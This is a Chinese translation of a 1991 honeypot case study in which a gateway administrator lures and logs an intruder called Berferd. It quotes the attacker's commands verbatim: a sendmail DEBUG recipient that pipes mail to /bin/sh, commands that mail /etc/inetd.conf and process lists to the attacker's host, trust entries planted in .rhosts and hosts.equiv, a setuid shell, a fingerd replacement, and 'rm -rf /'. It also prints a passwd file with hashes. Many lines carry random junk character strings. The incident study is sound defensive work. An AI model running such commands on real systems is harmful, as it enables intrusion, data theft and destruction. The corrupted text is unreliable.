引誘、欺騙并研究一個黑客——陪伴berferd的一個夜晚

在1991年1月7號，一個黑客，他確信自己發(fā)現(xiàn)了我們的Internet網關計算機的sendmail的一個DUBUG漏洞的黑客，試圖獲得我們的password文件，我“送”給他了一份。
在幾個月中，我們引誘這名黑客作各種快樂的嘗試，以便于我們發(fā)現(xiàn)他的位置和使用的破解技術。這篇文章是對該黑客的“成功”和失敗，我們使用的誘餌和陷阱的詳細記錄
3 H5 P+ J  J2 E( j我們的結論是我們所遇到的這個黑客擁有大量的時間，固執(zhí)異常，并持有一份優(yōu)秀的系統(tǒng)漏洞列表。一旦他獲得了系統(tǒng)的一個正式注冊身份，使用那些漏洞他可以輕易的攻破uucp和bin帳號，然后是root。我們的黑客對軍事目標和可以幫助他中轉其連接的新機器很感興趣。
& S$ A" M6 ]7 C簡介
/ X/ h" `, J+ G1 @9 N我們的安全Internet網關是1990年1月開始使用的。對于這個整個城堡的大門，我想知道它所可能遭到的攻擊會有多么頻繁。我明白Internet上有一些喜歡使用“暴力”的人，那么他們是誰？他們會攻擊什么地方？會多么頻繁？他們經常嘗試系統(tǒng)的那些漏洞？
事實上，他們沒有對AT&T作出破壞，甚至很少光顧我們的這扇大門，那么，最終的樂趣只有如此，引誘一個黑客到一個我們設計好的環(huán)境中，記錄下來他的所有動作，研究其行為，并提醒他的下一個目標作出防范。
大多數(shù)Internet上的工作站很少提供工具來作這些事情，商業(yè)系統(tǒng)檢測并報告一些問題，但是它們忽略了很多我們想要的東西。我們的網關每天產生10兆的日志文件。但人們對于日志記錄以外的服務的攻擊呢？
" n0 v6 K$ f" U; Y" r我們添加了一些虛假的服務在系統(tǒng)上，同時我編寫了一個script文件用來檢索每天的日志。我們檢查以下幾點：
- G" r! `0 F; u: a$ k- }FTP ：檢索的工具會報告每天所有注冊和試圖注冊的用戶名。它還會報告用戶對tilde的使用（這是個老版本的ftp的漏洞）、所有對ftp目錄的/etc/passwd和/etc/group的存取以及對pub目錄下完整文件列表的獲取。獲取passwd的人通常用它來獲得系統(tǒng)的正式用戶的注冊名稱，然后攻擊、破解其密碼。有時有些系統(tǒng)的管理員會將系統(tǒng)的真實passwd文件放在ftp的/etc目錄下，我們偽造了一個passwd文件，它的密碼被破解后是“why are you wasting your time.”
  ~! ?+ a( p: b) T, ^8 KTelnet / login ：所有試圖login的動作都被記錄了下來。這很容易就可以看出有些人在嘗試很多帳號，或強力攻擊某一個帳號。因為我們這個Internet的大門除了“警衛(wèi)”外沒有什么別的用戶，很容易就可以找到問題所在。
; X( k% @; \! V& @Guest / visitor 帳號：黑客們第一個尋找的就是公用帳號。這些帳號提供了友好的，最輕易的獲取幾乎系統(tǒng)的所有文件的機會，包括passwd文件。黑客也可以通過獲取/etc/hosts.equiv文件或每個用戶的.rhosts文件來獲得機器的信任主機列表。我們對于這些帳號的login script文件是這樣編寫的：
+ l' @; E4 J* }  @0 Qexec 2>/dev/null # ensure that stderr doesn't appear
trap "" 1
( p, R# X7 N# l% `) w/bin/echo
7 D; Q4 U( s$ s  Z( /bin/echo "Attempt to login to inet with $LOGNAME from $CALLER" |
upasname=adm /bin/mail ches dangelo &
5 T3 {% ?8 Z' r) h# U/ r# f# (notify calling machine's administrator for some machines...)
, I$ I3 w& w* o# (finger the calling machine...)
  p9 a/ r  p3 d/ h$ m( s3 u) 2>&1 | mail ches dangelo
/bin/echo "/tmp full"
/ Q: f( b5 u4 Usleep 5 # I love to make them wait....
/bin/echo "/tmp full"
/bin/echo "/tmp full"
/bin/echo
sleep 60 # ... and simulating a busy machine is useful
8 ~, \5 x' X" q0 d我們必須小心以便不讓調用者看到系統(tǒng)的標志出錯信息（如果一旦我們編寫的script有誤）。注意$CALLER是在另一端的主機或IP地址。通過修改telnetd或login，它將可以通過環(huán)境變量來獲取。
, O3 t, z* U* E- L7 M; D/ `0 A, {SMTP DEBUG : 這個命令提供了兩個守候sendmail的漏洞的陷阱。雖然幾乎所有的產品出售商都清除了這個漏洞，但偶爾仍有黑客嘗試它。這個漏洞允許外部的使用者使用一段以root權限執(zhí)行的script。當有些人嘗試這個漏洞時，我就獲得了他嘗試的script代碼。
: c5 s1 V0 ~6 x( d# n2 E' hFinger ：Finger提供了大量有用的信息給黑客：帳號名，該帳號的最后一次使用時間，以及一些可以用來猜測密碼的信息。由于我們的組織不允許提供這些信息給別人，我們置入了一個程序，在finger了fingerd的調用者后拒絕figner請求。（當然我們會避免對來自自己的finger信息的死循環(huán)）。報告表明每天有數(shù)以十計的finger請求，其中大部分是合法的。
Rlogin / rsh ：這些命令都是基于一些無條件信任的系統(tǒng)，我們的機器并不支持。但我們會finger使用這些命令的用戶，并將他的嘗試和用戶信息等生成報告。
上述很多探測器都使用figner命令來查明調用的機器和使用者。
當一個嘗試顯示為有不合法企圖時，我就發(fā)出這樣一條消息：
inetfans postmaster@sdsu.edu
# v" N! P4 C" D9 \9 b" y& RYesterday someone from math.sdsu.edu fetched the /etc/passwd file
from our FTP directory. The file is not important, but these probes
are sometimes performed from stolen accounts.
Just thought you'd like to know.
. C- G& @& c& W" k7 H% h2 GBill Cheswick
這是一個典型的信件，它被發(fā)往“inetfans”，這些人屬于計算機緊急響應小組(Computer Emergency Response Team , CERT)、某些興趣小組或對某些站點感興趣的人。
$ y: z% A* G6 e2 w, u很多系統(tǒng)管理員很重視這些報告，尤其是軍事站點。通常，系統(tǒng)管理員在解決這些問題上都非常合作。對這些信件的反應包括道歉，拒絕信件，關閉帳號以及沉默等等。當一個站點開來愿意支持黑客們的活動時，我們會考慮拒收來自該站的所有信息包。
不友好的行動
我們從1990年1月設置好這些探測器。統(tǒng)計表明被攻擊率在每年學校的假期期間會上升。我們的被攻擊率可能比其他站點高，因為我們是廣為人知的，并被認為是“電話公司”。
當一個遠程使用者取走passwd文件時，并不是所有的人都出于惡意的目的。有時他們只是想看看是否傳輸能正常工作。
5 `- D7 l2 l* Z; {2 u4 `, T& @19:43:10 smtpd[27466]: <--- 220 inet.att.com SMTP
1 o: F3 c: i4 y; \5 l19:43:14 smtpd[27466]: -------> debug
19:43:14 smtpd[27466]: DEBUG attempt
  U1 y7 n: ^7 r: \- P4 R: ], c- L19:43:14 smtpd[27466]: <--- 200 OK
19:43:25 smtpd[27466]: -------> mail from:
) \3 G7 p9 I4 A# C/ H) m/ R19:43:25 smtpd[27466]: <--- 503 Expecting HELO
19:43:34 smtpd[27466]: -------> helo
19:43:34 smtpd[27466]: HELO from
19:43:34 smtpd[27466]: <--- 250 inet.att.com
4 O0 @1 ^! ]% Q& s$ W19:43:42 smtpd[27466]: -------> mail from:
$ @4 h& F/ J- Q: Y19:43:42 smtpd[27466]: <--- 250 OK
! [0 v8 N, [) Z- `# J! f19:43:59 smtpd[27466]: -------> rcpt to: 19:43:59 smtpd[27466]: <--- 501 Syntax error in recipient name
19:44:44 smtpd[27466]: -------> rcpt to:<|sed -e '1,/?$/'d | /bin/sh ; exit 0">
/ ?7 P6 h1 X+ u+ s! m8 v/ y! C7 n19:44:44 smtpd[27466]: shell characters: |sed -e '1,/?$/'d | /bin/sh ; exit 0"
$ j* v# H1 Z4 m; _8 B19:44:45 smtpd[27466]: <--- 250 OK
19:44:48 smtpd[27466]: -------> data
19:44:48 smtpd[27466]: <--- 354 Start mail input; end with .
19:45:04 smtpd[27466]: <--- 250 OK
6 s; q- E: l- z& q' \6 X19:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security
5 {  p$ {4 p8 @6 `) ?19:45:08 smtpd[27466]: -------> quit
# z6 @3 L: E( `19:45:08 smtpd[27466]: <--- 221 inet.att.com Terminating
19:45:08 smtpd[27466]: finished.
這是我們對SMTP過程的日志。這些看來很神秘的日志通常是有兩個郵件發(fā)送器來相互對話的。在這個例子中，另一端是由人來鍵入命令。他嘗試的第一個命令是DEBUG。當他接收的“250 OK”的回應時一定很驚奇。關鍵的行是“rcpt to :”。在尖括號括起的部分通常是一個郵件接收器的地址。這里它包含了一個命令行。Sendmail在DEBUG模式下用它來以ROOT身份執(zhí)行一段命令。即：
# U4 F% H% N: z2 k/ k2 s2 wsed -e '1,/?$/'d | /bin/sh ; exit 0"
4 ~1 W: E9 R4 M) y  ?7 P2 t它剝去了郵件頭，并使用ROOT身份執(zhí)行了消息體。這段消息郵寄給了我，這是我記錄下來的，包含時間戳：
0 g5 D% }: q( x/ _# m7 w19:45 mail adrian@embezzle.stanford.edu 19:51 mail adrian@embezzle.stanford.edu 他希望我們郵寄給他一份我們的passwd文件。大概用來運行一些passwd破解程序。所有這些探測結果都來自EMBEZZLE.STANFORD.EDU的一個adrian用戶。他在美國空襲伊拉克半個小時后公然作出敵意反應。我懷疑是薩達姆雇傭了一兩個黑客。我恰巧在ftp的目錄下有一個假的passwd文件，就用root身份給Stanford發(fā)了過去。
* B0 ?% r9 \, S8 n: D) e第二個早晨，我聽到了來自Stanford的消息：他們知道了這件事，并正在發(fā)現(xiàn)問題所在。他們說adrian這個帳號被盜用了。
接著的一個星期天我接到了從法國發(fā)來的一封信：
To: root@research.att.com
Subject: intruder
Date: Sun, 20 Jan 91 15:02:53 +0100
I have just closed an account on my machine
which has been broken by an intruder coming from embezzle.stanford.edu. He
% x: y* ^" @0 o3 S(she) has left a file called passwd. The contents are:
------------>
From root@research.att.com Tue Jan 15 18:49:13 1991
; w. B$ I. ]( o& X. |Received: from research.att.com by embezzle.Stanford.EDU (5.61/4.7);
Tue, 15 Jan 91 18:49:12 -0800
Message-Id: <9101160249.AA26092@embezzle.Stanford.EDU>
) c" U8 m3 Y3 [6 YFrom: root@research.att.com
Date: Tue, 15 Jan 91 21:48 EST
To: adrian@embezzle.stanford.edu
Root: mgajqD9nOAVDw:0:2:0000-Admin(0000):/:
! H2 u' I9 D/ [4 QDaemon: *:1:1:0000-Admin(0000):/:
! z8 w) ~9 M, gBin: *:2:2:0000-Admin(0000):/bin:
Sys: *:3:3:0000-Admin(0000):/usr/v9/src:
( G1 d5 i- b8 d6 NAdm: *:4:4:0000-Admin(0000):/usr/adm:
4 h8 f* @& A8 K, ^$ x# C( c3 m  |Uucp: *:5:5:0000-uucp(0000):/usr/lib/uucp:
Nuucp: *:10:10:0000-uucp(0000):/usr/spool/uucppublic:/usr/lib/uucp/uucico
: D( \; |/ T, n( P2 U4 R1 YFtp: anonymous:71:14:file transfer:/:no soap
Ches: j2PPWsiVal..Q:200:1:me:/u/ches:/bin/sh
$ T( K! ~: I) ?+ \Dmr: a98tVGlT7GiaM:202:1:Dennis:/u/dmr:/bin/sh
& W' O. E# a% v5 }; Z* jRtm: 5bHD/k5k2mTTs:203:1:Rob:/u/rtm:/bin/sh
4 ]6 R* Z- M' {, O, `  E0 G- Z) MBerferd: deJCw4bQcNT3Y:204:1:Fred:/u/berferd:/bin/sh
9 R" z+ g: F" G+ M/ ~% eTd: PXJ.d9CgZ9DmA:206:1:Tom:/u/td:/bin/sh
Status: R
------------Please let me know if you heard of him.
% J' m& c6 b. ?& d$ X& I) _陪伴Berferd的一個夜晚
1月20號，星期天晚上，我的終端報告有安全敏感事件。
22:33 finger attempt on berferd
幾分鐘后，有人試圖使用DEBUG來用ROOT身份執(zhí)行命令，他試圖修改我們的passwd文件！
22:36 echo "beferdd::300:1:maybe Beferd:/:/bin/sh" >>/etc/passwd
( y" t$ d7 x' |/ f: s7 n) `cp /bin/sh /tmp/shell
chmod 4755 /tmp/shell
; }% \$ v0 r* x: H2 K8 f連接同樣來自EMBEZZLE.STANFORD.EDU。
我該怎么作呢？我不希望他真的能獲得一個網關的帳號，為什么引狼入室呢？那樣我將得不到他的鍵盤活動。
我應該繼續(xù)看看他關注的其他事情，或許我可以手工模擬一下操作系統(tǒng)，這意味著我必須讓他以為機器速度很慢，因為我無法和MIPS M/120相比。同時意味著我必須模擬一個一致的操作系統(tǒng)。
我已經有一個要求了，因為他已經持有了一份passwd。
決定一：ftp的passwd是一個真實的passwd。
9 _7 z7 h4 x1 ?+ G/ [3 c# b還有另外的兩個：
決定二：網關機器管理極差。（有DEBUG漏洞，ftp目錄里有passwd）。
& Z* N) L: s  }9 @決定三：網關機器極慢。
+ |; v' d7 m7 \( V因此我決定讓他以為他已經改變了passwd文件，但卻不急于讓他進來。我必須生成一個帳號，但卻使它不可操作。我應該怎么辦？
決定四：我的shell并沒有放在/bin下，它放在其他地方。這樣，他進來后（讓他認為passwd已經改動了），沒有可運行的shell。
這個決定很愚蠢，但我不會因此損失任何東西。我寫了一個script，生成了一個臨時帳號b，當它被調用時它會給我發(fā)信，調用者將看到如下信息：
RISC/os (inet)
login: b
  |; K8 G3 Q8 y; n- L! p/ ORISC/os (UMIPS) 4.0 inet
Copyright 1986, MIPS Computer Systems
All Rights Reserved
# Z; x9 [6 y6 v& m7 TShell not found
我把b帳號在實際passwd文件中改成了beferd，當我作完后，他在此嘗試：
22:41 echo "bferd ::301:1::/:/bin/sh" >> /etc/passwd
他的另一個試圖添加到passwd文件的嘗試。事實上，在我為bferd完成新的配置之前他開始急躁了：
- v- Q8 L. Q5 ^" L9 r/ p% @7 ?) J9 Z22:45 talk adrian@embezzle.stand?Hford.edu
+ |5 N( e8 \" V5 A9 W7 Ttalk adrian@embezzle.stanford.edu
8 O! d: u4 h1 h$ U2 S* k+ c決定五：我們沒有talk這個命令。
他選擇了berferd這個帳號：
) o2 i+ {0 k, I) w  m" n0 p22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
( J% y! l1 X; F22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
22:49 Attempt to login to inet with bferd from embezzle.Stanford.EDU
22:51 (Notified Stanford of the use of Tip-QuadA.Stanford.EDU)
22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU
4 F- j7 V7 `& b1 M0 r0 k. ^22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU
22:55 echo "bfrd ::303:1::/tmp:/bin/sh" >> /etc/passwd
22:57 (Added bfrd to the real password file.)
22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
23:05 echo "36.92.0.205" >/dev/null
echo "36.92.0.205 embezzle.stanford.edu">>/etc./?H?H?H
23:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu
23:06 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts
23:08 echo "embezzle.stanford.edu adrian">>/tmp/.rhosts
! v) F/ t0 A3 O9 C很顯然他希望能夠rlogin到我們的網關，這需要一些本地文件的特定設置。我們并沒有作rlogin的檢測。
這時他又有新的動作：
23:09 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
+ x% t9 G' t& @( J, x& P23:10 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
) t% {) Q8 @( X0 W; [( T0 v0 Z23:14 mail adrian@embezzle.stanford.edu < /etc/inetd.conf
/ [* X. n9 G  W- zps -aux|mail adrian@embezzle.stanford.edu
在rlogin失敗后，他希望能得到我們的inetd.conf文件來查看我們究竟啟動了什么服務。我不想讓他看到真正的inetd.conf，但偽造一個又非常困難。
$ |- m6 m% j/ O* I決定七：網關機器運行不穩(wěn)定，時有不確定事件。
* M- n% O" ]: ~6 I! j23:28 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts
echo "embezzle.stanford.edu adrian" >> /tmp/.rhosts
* e1 Z/ f" r! [. A( `ps -aux|mail adrian@embezzle.stanford.edu
- D5 X7 l4 K0 |& `* N! omail adrian@embezzle.stanford.edu < /etc/inetd.conf
/ T9 \; }, e" D+ H' z我不希望他看到ps的結果，幸運的是，他的Berkeley系統(tǒng)的ps命令在我的System V機器上是無效的。
這時我通知了CERT，這時一起嚴重的攻擊事件，在Stanford也應該有追蹤這些請求的人。這時，活動又轉到ftp上來：
Jan 20 23:36:48 inet ftpd[14437]: <--- 220 inet FTP server
(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.
* H0 {  ~/ I9 y3 M, nJan 20 23:36:55 inet ftpd[14437]: -------> user bfrd?M
Jan 20 23:36:55 inet ftpd[14437]: <--- 331 Password required for bfrd.
( e' }8 p" b$ p* RJan 20 23:37:06 inet ftpd[14437]: -------> pass?M
. m' N- ?$ ~& [7 ^Jan 20 23:37:06 inet ftpd[14437]: <--- 500 'PASS': command not understood.
Jan 20 23:37:13 inet ftpd[14437]: -------> pass?M
3 _  g% r' y% S( J7 g+ @Jan 20 23:37:13 inet ftpd[14437]: <--- 500 'PASS': command not understood.
Jan 20 23:37:24 inet ftpd[14437]: -------> HELP?M
, u3 e* ?  P0 X$ O4 h$ uJan 20 23:37:24 inet ftpd[14437]: <--- 214- The following commands are
recognized (* =>'s unimplemented).
Jan 20 23:37:24 inet ftpd[14437]: <--- 214 Direct comments to ftp-bugs@inet.
1 h! ]9 W7 Y0 G% N4 @% pJan 20 23:37:31 inet ftpd[14437]: -------> QUIT?M
$ R* w$ M9 C# f1 t" d! kJan 20 23:37:31 inet ftpd[14437]: <--- 221 Goodbye.
/ w! V# K0 v- {. b' mJan 20 23:37:31 inet ftpd[14437]: Logout, status 0
; x8 m9 g5 W3 kJan 20 23:37:31 inet inetd[116]: exit 14437
/ ]* Y: n9 j* P. OJan 20 23:37:41 inet inetd[116]: finger request from 36.92.0.205 pid 14454
+ m' a+ T) r3 B: ~9 ^Jan 20 23:37:41 inet inetd[116]: exit 14454
- D5 v) l2 }  |* z7 B& ]& n0 O23:38 finger attempt on berferd
23:48 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts.equiv
23:53 mv /usr/etc/fingerd /usr/etc/fingerd.b
6 ], I9 g& @: Q! ?. [- T* h0 ?cp /bin/sh /usr/etc/fingerd
決定四已經決定了最后一行的嘗試必然失敗。因此，他只是破壞了我們模擬的機器上的finger而已，并沒有將之替換成一個shell程序。我關閉了實際的fingerd程序。
23:57 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
5 H4 n* j) N# f# q9 ~23:58 cp /bin/csh /usr/etc/fingerd
我們模擬的機器上csh并不在/bin下，因此這個命令無效。
1 a/ k6 \4 L7 o1 p00:07 cp /usr/etc/fingerd.b /usr/etc/fingerd
& U% a# U" R: @好吧，fingerd現(xiàn)在重新開始工作。Berferd的恢復工作干的不錯。
7 f) n# x: v4 i6 a' U00:14 passwd bfrt
/ {1 d# s3 q5 d( Dbfrt
0 Q4 `* X4 S, M, ^1 [: B& v8 mbfrt
現(xiàn)在他試圖修改password，這永遠不會成功，因為passwd的輸入是/dev/tty，不是sendmail所執(zhí)行的shell script。
00:16 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
00:17 echo "/bin/sh" > /tmp/Shell
chmod 755 /tmp/shell
chmod 755 /tmp/Shell
. @4 |0 W9 _: B8 j% \% a00:19 chmod 4755 /tmp/shell
00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
" h3 H2 |; |) \! }! T00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
% T: O( t' X% I* ?6 e+ @00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
這時我已經很累了。
01:55 rm -rf /&
喔?。√萘?！顯然機器的狀態(tài)讓他迷惑，他希望能清除所有的痕跡。有些黑客會保護自己所作的工作，聲明自己不作任何破壞。我們的黑客對我們感到疲勞了，因此以此結束。
: I. g5 d: F- X3 a/ f* S' m  |4 s他繼續(xù)工作了幾分鐘，后來放棄：
07:12 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
07:14 rm -rf /&
07:17 finger attempt on berferd
! A  }5 L; g9 ?2 I8 a" w' j07:19 /bin/rm -rf /&
/bin/rm -rf /&
+ z* ~. ]5 j$ I  U2 P* X7 L07:23 /bin/rm -rf /&
07:25 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
09:41 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
+ s8 W& f* e5 q4 n  O7 Y, X# |